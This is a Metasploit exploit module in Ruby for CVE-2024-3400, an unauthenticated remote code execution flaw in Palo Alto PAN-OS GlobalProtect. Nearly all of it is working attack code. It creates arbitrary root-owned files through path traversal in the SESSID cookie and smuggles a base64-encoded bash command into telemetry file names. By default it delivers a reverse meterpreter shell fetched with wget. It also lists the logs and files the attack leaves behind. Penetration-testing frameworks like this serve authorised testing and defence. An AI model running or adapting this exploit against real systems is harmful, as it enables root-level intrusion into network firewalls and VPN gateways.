cea9fb66ed
Co-authored-by: Brendan <bwatters@rapid7.com>
132 lines
5.8 KiB
Ruby
132 lines
5.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in Palo Alto Networks PAN-OS that
|
|
allows an unauthenticated attacker to create arbitrarily named files and execute
|
|
shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or
|
|
GlobalProtect Portal enabled and telemetry collection on (default). Affected versions
|
|
include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1,
|
|
< 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'remmons-r7', # Metasploit module
|
|
'sfewer-r7' # Metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2024-3400'],
|
|
['URL', 'https://security.paloaltonetworks.com/CVE-2024-3400'], # Vendor Advisory
|
|
['URL', 'https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/'] # Initial Volexity report of the 0day exploitation
|
|
],
|
|
'DisclosureDate' => '2024-04-12',
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X64],
|
|
'Privileged' => true, # Executes as root on Linux
|
|
'Targets' => [ [ 'Default', {} ] ],
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
|
|
'FETCH_COMMAND' => 'WGET',
|
|
'RPORT' => 443,
|
|
'SSL' => true,
|
|
'FETCH_WRITABLE_DIR' => '/var/tmp',
|
|
'WfsDelay' => 36000, # 1h, since telemetry service cronjob can take up to an hour
|
|
'StagerRetryWait' => 3600 # 1h,since telemetry service cronjob can take up to an hour
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [
|
|
IOC_IN_LOGS,
|
|
# The /var/log/pan/gpsvc.log file will log an unmarshal failure message for every malformed session created.
|
|
# The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log client IPs in /var/log/nginx/sslvpn_access.log.
|
|
# Similarly, the log file /var/log/pan/sslvpn-access/sslvpn-access.log will also contain a log of the HTTP requests.
|
|
# The "device_telemetry_*.log" files in /var/log/pan will log the command being injected.
|
|
ARTIFACTS_ON_DISK
|
|
# Several 0 length files are created in the following directories during exploitation:
|
|
# - /opt/panlogs/tmp/device_telemetry/day/
|
|
# - /opt/panlogs/tmp/device_telemetry/hour/
|
|
# - /opt/panlogs/tmp/device_telemetry/minute/
|
|
# - /var/appweb/sslvpndocs/global-protect/portal/fonts/
|
|
]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'An existing application web endpoint', '/global-protect/login.esp']),
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
# Try to create a new empty file in an accessible directory with the exploit primitive
|
|
file_check_name = "glyphicons-#{Rex::Text.rand_text_alpha_lower(8)}-regular.woff2"
|
|
touch_file("/var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name}")
|
|
|
|
# Access that file and a file that doesn't exist to confirm they return 403 and 404, respectively
|
|
res_check_created = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri("/global-protect/portal/fonts/#{file_check_name}")
|
|
)
|
|
|
|
res_check_not_created = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri("/global-protect/portal/fonts/X#{file_check_name}")
|
|
)
|
|
|
|
if (res_check_created&.code != 403) || (res_check_not_created&.code != 404)
|
|
fail_with(Failure::UnexpectedReply, 'Arbitrary file write did not succeed!')
|
|
end
|
|
|
|
remote_prot_scheme = datastore['SSL'] == true ? 'https://' : 'http://'
|
|
remote_host = datastore['VHOST'] || datastore['RHOST']
|
|
print_status("Arbitrary file write succeeded: #{remote_prot_scheme}#{remote_host}:#{datastore['RPORT']}/global-protect/portal/fonts/#{file_check_name}")
|
|
print_status('Note: This file will not be deleted by the module.')
|
|
|
|
CheckCode::Appears
|
|
end
|
|
|
|
def execute_command(cmd)
|
|
# Encode the shell command payload as base64, then embed it in the appropriate exploitation context
|
|
cmd = "echo${IFS}-n${IFS}#{Rex::Text.encode_base64(cmd)}|base64${IFS}-d|bash${IFS}-"
|
|
|
|
# Create maliciously named files in all three possible telemetry directories
|
|
touch_file("/opt/panlogs/tmp/device_telemetry/hour/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`")
|
|
touch_file("/opt/panlogs/tmp/device_telemetry/day/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`")
|
|
touch_file("/opt/panlogs/tmp/device_telemetry/minute/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`")
|
|
end
|
|
|
|
def touch_file(file)
|
|
# Exploit primitive similar to `touch`, creating an empty file owned by root in the specified location
|
|
send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'headers' => {
|
|
'Cookie' => "SESSID=./../../../..#{file}"
|
|
}
|
|
)
|
|
print_status("Touched file: #{file}")
|
|
end
|
|
|
|
def exploit
|
|
execute_command(payload.encoded)
|
|
print_status('Starting staged payload server. Depending on the version, it may take the telemetry service up to one hour to execute the payload.')
|
|
end
|
|
end
|